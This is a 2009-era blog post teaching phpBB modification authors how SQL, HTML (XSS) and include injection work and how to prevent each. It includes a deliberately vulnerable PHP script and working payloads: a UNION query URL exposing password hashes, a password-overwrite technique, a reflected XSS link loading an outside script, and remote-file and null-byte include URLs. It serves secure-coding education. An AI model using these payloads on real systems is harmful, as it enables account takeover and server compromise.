Notice
Some websites have claimed this article discloses an “injection vulnerability” in phpBB. It does not. What this post actually does is provide an overview of vulnerabilities commonly introduced by third-party modifications to phpBB and discusses what the authors of said modifications need to do to protect their code against attack.
Despite being among the easiest of vulnerabilities to understand, injection vulnerabilities are also among the most common. For most users, they will simply manifest themselves as an error when select characters are used, but a sufficiently adept user may be able to take that error and exploit it to their advantage.
To prevent this from happening, one needs to properly sanitize all user definable variables. Unfortunately, the way one properly sanitizes a variable depends on where it’s being used. In this post, we’ll discuss how to sanitize variables for use in SQL queries and in HTML, in general and in phpBB3, and we’ll discuss what can happen if proper sanitization isn’t used.
Before we begin, consider the following code (intended to be ran from the root directory of a sandboxed phpBB3 installation):
- Code: Select all
<?php
/**
*
* @package phpBB3
* @version $Id$
* @copyright (c) mmviii phpBB Group
* @license to be determined.
*
*/
/**
* @ignore
*/
define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
if (!isset($_GET['username']))
{
exit;
}
if (get_magic_quotes_gpc())
{
$_GET['username'] = stripslashes($_GET['username']);
}
$sql = "SELECT user_website FROM " . USERS_TABLE . " WHERE username = '" . $_GET['username'] . "'";
$db->sql_query($sql);
$user_website = $db->sql_fetchfield('user_website');
if ($user_website !== false)
{
echo $_GET['username'] . ' == ' . $user_website;
}
else
{
echo $_GET['username'] . ' not found';
}
?>
On the surface, it’s a fairly innocuous piece of code. Some admin, for whatever reason, is too lazy to look at a users profile to get their website, so they write this tool, instead. The conditional stripslashes, presumably, wouldn’t have been added by this admin, but, for reasons that’ll hopefully become clear, later, I’ve added it, all the same. For now, just pretend it isn’t there.
SQL Injection
Exploiting it.
Say Vic D'Elfant is a member of your board. Or maybe he isn’t but you thought he was – it doesn’t really matter.
Anyway, you want to see what his websites URL is, so you go the following:
http://www.example.com/phpBB3/test.php?username=Vic%20D%27Elfant
Upon visiting it, you get an SQL error. That, right off the bat, is a problem, although it does beg the question… why? Well, consider the SQL code that that query string resulted in:
SELECT user_website FROM phpbb_users WHERE username = 'Vic D'Elfant'
The part in red shouldn’t be there.
Now, how could an adept user take advantage of this? Well, to answer that, consider that that part in red can be absolutely anything, including, but not limited to this:
http://www.example.com/phpBB3/test.php?username=Vic%20D%27%20UNION%20SELECT%20user_password%20FROM%20phpbb_users%20WHERE%20user_id%20=%202%20%23
Upon visiting that URL, you’ll see a password hash! An attacker could brute force that to get your password! Here’s the SQL query that that produced:
SELECT user_website FROM phpbb_users WHERE username = 'Vic D' UNION SELECT user_password FROM phpbb_users WHERE user_id = 2 #'
What was an error, marked in red, in the last SQL query, is now valid SQL, marked in green. If you’re unfamiliar with UNIONs, that’s not really too important – sufficient to say, if a user can break an SQL query they can also modify it and exploit it to their advantage. Just how badly they can exploit it depends on the query, itself, and on the SQL Server being used. If MSSQL is being used, you can daisy chain queries, so instead of doing UNION SELECT user_password FROM phpbb_users WHERE user_id = 2 # you can do ; UPDATE phpbb_users SET user_password = 'whatever' WHERE user_id = 2 #. On MySQL, since queries cannot be daisy chained (unless you’re using mysqli_multi_query, or whatever), UPDATE user_website = '<user definable input>' WHERE username = '<user definable input>' is worse than the above SELECT, as, if you set the first user definable input to “', user_password = 'whatever” and the second user definable input to “2“, you’ve pretty much changed the first users password to a password you, presumably, know.
Prevention
SQL injection can be prevented by making sure your input cannot be used to modify the SQL. If you’re inserting what’s supposed to be an integer into an SQL query cast it to an integer before inserting it. Or do an is_int() check, do preg_replace('#[\D]#', …) on it, etc – just make sure what’s ultimately inserted is an integer.If you’re inserting a string into an SQL query, escape it by replacing all instances of the string delimiter (usually a single quote) with two copies of that string delimiter (eg. ' turns into ''). A lot of SQL Servers also let you escape with backslashes, even though this is not what the official SQL specifications say to do. As such, you also need to escape backslashes by prefacing them with another backslash (eg. \ turns into \\).
In lieu of escaping it, you could replace all instances of the string delimiter and all backslashes with an empty string or you could check the input against a whitelist, etc – whatever you do, just make sure that neither the string delimiter nor the backslash character appear or that if they do that they’re escaped.
phpBB2 prevents SQL injection by conditionally (depending on if magic_quotes_gpc is enabled, which get_magic_quotes_gpc() tests for) passing all $_GET, $_POST, and $_COOKIE variables through addslashes. After that, you’ll need to either cast to an integer or do replace all instances of \' (which is what addslashes turns ' into) with '' (assuming that’s your string delimiter). The problem with this approach is that it doesn’t work on databases using multibyte encoding schemes.
phpBB3 prevents SQL injection by providing a multibyte safe $db->sql_escape() function. $db->sql_build_array() calls $db->sql_escape() for you, as well.
If, in phpBB3, you’re looking to use an integer in a SELECT – ie. SELECT username FROM phpbb_users WHERE user_id = whatever – request_var() can also be used, assuming the type of the second parameter is an integer. ie. request_var('user_id', 0) works but request_var('user_id', '0') doesn’t. This is because request_var() casts $_GET['user_id'] / $_POST['user_id'] to the second parameters type and casting a string to a string doesn’t prevent that variable from containing valid SQL whereas casting it to an integer does.
HTML Injection
(more commonly known as XSS)
Exploiting it.
How one might fully exploit HTML Injection is actually fairly poorly understood. Consider what it’s popularly called – XSS – an acronym for Cross Site Scripting (CSS was already being used by web developers for Cascading Style Sheets). For many years, the worst case scenario was that someone would use it to steal your cookies – that they’d send them to another site and then reuse them, themselves. They’d make their own cookies match yours and then, in theory, they’d be able to log in as you.
Sessions, used properly, can mitigate this risk considerably. phpBB, for instance, records the IP address in the session table and validates the first x bits of the IP address against every IP address that would attempt to use that session. This means that, by default, 192.168.1.100 can’t login to a website as 10.0.0.1 – the first 24 bits (or groups or whatever you want to call them) won’t match so the session identifier of 10.0.0.1 can’t be used by 192.168.1.100 and vice versa. phpBB3 further extends this by validating the User-Agent, as well.
The problem with HTML Injection is that it can do so much more than simple cookie stealing. On modern browsers, you can use the XmlHttpRequest object (eg. AJAX) to essentially emulate a user. That users cookies are going to be sent with each XmlHttpRequest and the XmlHttpRequest object will, in the end, have access to everything that the user has access to. It’s for this reason that HTML Injection really should be considered an enabling attack. It enables an attacker to do anything that you can do and perhaps even better than you. Samy – a so-called XSS worm that hit MySpace – is a good example of this. It used XmlHttpRequest’s to add itself to the viewing users page. One user views an “infected” profile, getting “infected”, themselves, and then you have two “infected” users where once there was just one.
There are two main types of HTML injections – persistent ones and reflected ones. The difference between the two is that a reflected HTML injection contains the payload in the URL whereas a persistent one does not. As such, users aren’t likely to stumble across a reflected HTML injection without some sort of social engineering taking place. Of course, arguably, social engineering of that nature is not all that difficult. Consider the following:
mr. admin person – it looks like your website has been hacked:
http://www.example.com/phpBB3/test.php?username=%3Cbo%64%79%3E%3Cscr%69pt%20src%3D%68ttp%3A%2F%2F%68a%2Eckers%2Eorg%2Fs%2E%6As%3E%3C%2Fscr%69pt%3E
Whether or not that kind of plea would convince you to click on the link is secondary to the fact that that link is a benign example of reflected HTML injection.
Prevention
To prevent HTML injection, you need to, basically, prevent the characters of < and >. You can do so by refusing to output the input if it contains < and >, you could delete them and then output the input, or you could replace them with something else – ideally, their escaped form as returned by htmlspecialchars() – ie. > and <.In phpBB3, request_var() does htmlspecialchars() for you when the second parameter is a string (or an array containing strings, or whatever). If you use user defined data you got from request_var() in an SQL INSERT and later pull it out with an SQL SELECT you don’t need to re-escape it because it’s already been escaped.
Of course, there’s also attribute injection, Javascript injection, CSS injection, etc, that kinda fall within the aegis of HTML injection. That < and > can’t be inserted doesn’t mean that you always need to use those characters, anyway. Consider the following:
- <img src=<user definable input>>
Set to “. onerror=alert(1)“.
Can be prevented by (1) encapsulating the attribute with double quotes and (2) escaping the double quotes that do occur with their htmlspecialchars()’d form – ". If you use single quotes, you can set the optional second parameter to ENT_QUOTES. - <script>alert('<user definable input>');</script>
Set to “'); alert(1); //“.
htmlspecialchars with ENT_QUOTES works if you’re okay with < and > being replaced with < and gt;, respectively, even in the javascript popup dialog box, but if you’re not, you’ll have to do is str_replace(array('<', '>'), array('\<', '\>'), addslashes($_GET['whatever'])) - <font style=<user definable input>>
Set to “-moz-binding:url(http://www.example.com/phpBB3/download/file.php?id=1#xss)” and upload xssmoz.xml.
Assuming attribute injection has been prevented (as discussed above), the best solution is probably going to be to just check the input against a regular expression or something.
If you want to learn more vectors one might use in carrying out an HTML injection, this website is helpful:
Include Injection
Exploiting it.
If you go to include/db/mysql.php, you’ll see that it starts off with this:
- Code: Select all
<?php
/**
*
* @package dbal
* @version $Id: mysql.php 8815 2008-09-04 13:37:01Z acydburn $
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/
/**
* @ignore
*/
if (!defined('IN_PHPBB'))
{
exit;
}
include_once($phpbb_root_path . 'includes/db/dbal.' . $phpEx);
Why is that conditional exit there? We can remove it to find out. Well, remove it and enable the PHP directives register_globals and allow_url_fopen. Once that’s done go to the following URL:
http://www.example.com/phpBB3/includes/db/dbal.php?phpbb_root_path=http://www.example2.com/evil.php?
In this way, an adept user can execute PHP code of their choosing on your server.
Let’s say, however, that allow_url_fopen is disabled along with magic_quotes_gpc. Then, if you uploaded a file with PHP code appended to it – let’s call it image.jpg, be it an avatar or an attachment or whatever, you could do this:
http://www.example.com/phpBB3/includes/db/dbal.php?phpbb_root_path=/path/to/image.jpg%00
That is also known as null byte injection. To better understand how that works, try to append a chr(0) . 'asdfasdfasdf' to an include that does work and you’ll see that it works just the same. magic_quotes_gpc needs to be disabled because otherwise “\0” will be turned into “\\0” by it.
phpBB3’s file upload functionality, incidentally, makes this pretty much impossible. As noted in the blog post Attachment Headaches with the Internet Explorer, “[phpBB3] changed the naming scheme of the files on the server to stop attackers from guessing them“. As such, phpBB3’s file upload functionality isn’t really going to help you. If another webapp was installed on the same domain or if an attacker was able to guess at the location of the Apache logfiles, an adept user might be able to use that to their advantage, but phpBB3, itself, would be insufficient.
Prevention
In the case of phpBB, the solution is to either explicitly define $phpbb_root_path and $phpEx, as it is in such files as viewtopic.php, or to make sure the !defined('IN_PHPBB') part exists. In the more general case, like include($_GET['filename'] . '.php'), you could check $_GET['filename'] against a whitelist.
Closing Comments
That’s pretty much it for injection exploits that are relevant to phpBB3. Other types of injection exploits unrelated to phpBB3 (for the most part) are buffer overflow exploits (which are impossible in PHP, although the PHP interpreter, itself, may contain them), LDAP injections, serialize injection, etc.
I guess the last real bit of information that’s needed is… just what variables are user definable? That’d be $_GET, $_POST, $_COOKIE, and $_SERVER['HTTP_*']. Some of the other $_SERVER variables are harder to figure out. $_SERVER['PHP_SELF'] cannot entirely be trusted per this article, for instance. Also, if you save the contents of user-definable variables to a database and pull it back out, later, with an SQL query, the data you pulled out would be user-definable, too.
Non-injection exploits relevant to phpBB include CSRF (cross-site request forgery), register_globals, and just random logic errors. For instance, granting access to the ACP without a password… that’s not really an injection exploit or CSRF or anything – that’s just a bad idea, period. Same thing for doing exec($_GET['var']). I suppose that could actually be an injection error depending on how you used it. ie. eval('ls ' . $_GET['var']) could be use to pipe commands on Linux assuming proper sanitization wasn’t being done, but sufficient to say, sanitization doesn’t fix everything.
Posted by Green Light on February 12th, 2009 at 11:35 pm:
wow, that’s a little difficult to comprehend.. I’ll need read that again a few times 😛
This will come in handy when I create a small CMS for my website. 😉
Thanks for the article.